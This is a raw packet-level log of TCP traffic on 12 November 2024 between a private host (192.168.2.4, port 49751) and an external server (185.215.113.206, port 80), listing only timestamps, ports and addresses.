Nov 12, 2024 15:41:19.641048908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641073942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641088009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641096115 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641099930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641113043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641124964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641129971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641136885 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641159058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641170979 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641184092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641204119 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641207933 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641220093 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641230106 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641236067 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641253948 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641277075 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641356945 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641366959 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641376019 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641386986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641393900 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641398907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641410112 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641416073 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641422987 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641436100 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641442060 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641448021 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641449928 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641468048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641479969 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641482115 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641496897 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641508102 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641530991 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641540051 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641552925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641563892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641577005 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641577005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641601086 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641623974 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641664028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641675949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641686916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641696930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641700029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641710043 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641716003 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641725063 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641740084 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641751051 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641808033 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641819000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641829014 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641846895 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641849995 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641866922 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641875029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641877890 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641890049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641895056 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641907930 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641918898 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641920090 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641932964 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641946077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641947031 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641957045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.641973972 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.641983986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642004967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642127037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642139912 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642149925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642162085 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642168045 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642175913 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642179012 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642184973 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642191887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642199039 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642205000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642215967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642226934 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642227888 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642246008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642256975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642267942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642268896 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.642292976 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.642316103 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645585060 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645602942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645615101 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645625114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645636082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645643950 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645646095 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645653009 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645653009 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645663977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645673990 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645684958 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645685911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645694971 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645695925 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645709038 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645720005 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645723104 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645730972 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645740986 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645745039 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645752907 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645761967 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645776987 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645781040 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645792961 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.645813942 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.645828009 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.683132887 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.688019991 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967185974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967201948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967211008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967216969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967232943 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967243910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967255116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967266083 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967278004 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967279911 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967288971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967302084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967310905 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967318058 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967339039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967348099 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967349052 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967360973 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967365026 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967379093 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967387915 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967397928 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967398882 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967420101 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967443943 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967466116 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967478037 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967488050 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967498064 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967500925 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967513084 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967530012 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967536926 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967556000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967575073 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967751980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967787027 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967793941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967804909 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967825890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967842102 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967849970 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967853069 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967874050 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967888117 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967897892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.967936039 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.967991114 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968003988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968025923 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968050957 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968080997 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968101025 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968113899 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968121052 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968125105 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968137980 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968138933 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968153000 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968158960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968166113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968170881 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968182087 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968193054 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968194008 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968204975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968215942 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968221903 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968229055 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968245029 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968261957 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968283892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968295097 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968306065 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968317032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968322992 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968328953 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968343019 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968374014 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968399048 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968410015 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968420029 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968430042 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968431950 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968441963 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968456030 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968488932 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968533039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968544006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968558073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968570948 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968574047 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968584061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968594074 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968600988 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968621969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968627930 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968627930 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968636990 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968646049 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968658924 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968678951 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968750000 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968761921 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968771935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968782902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968786001 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968795061 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968806982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968811989 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968823910 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968831062 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968833923 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968844891 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.968846083 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968873024 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.968899012 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969089985 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969101906 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969111919 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969122887 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969125986 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969135046 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969141960 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969146967 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969157934 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969172955 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969173908 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969192982 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969196081 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969203949 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969214916 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969225883 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969237089 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969248056 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969249010 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969260931 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969271898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969285965 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969316006 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969316006 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969330072 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969338894 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969351053 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969352961 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969362974 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969373941 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969376087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969387054 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969398022 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969403982 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969419956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969441891 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969446898 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969459057 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969477892 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969485998 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969492912 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969495058 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969504118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969515085 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969516039 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969523907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969548941 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969851971 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969887018 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969890118 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969902992 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969913960 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969923973 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969938040 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969957113 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.969965935 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.969995975 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970002890 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970005989 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970031977 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970036983 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970072985 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970082998 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970096111 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970108032 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970117092 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970133066 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970150948 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970428944 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970467091 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970491886 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970503092 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970524073 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970525980 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970535994 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970545053 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970551968 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970570087 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970679045 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970717907 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970753908 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970788956 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970798969 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970812082 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970824003 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970834017 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970834017 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.970850945 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970858097 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.970877886 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.971601963 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.971637964 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.971651077 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.971687078 CET	49751	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:19.971755028 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.971767902 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.971779108 CET	80	49751	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:19.971790075 CET	80	49751	185.215.113.206	192.168.2.4
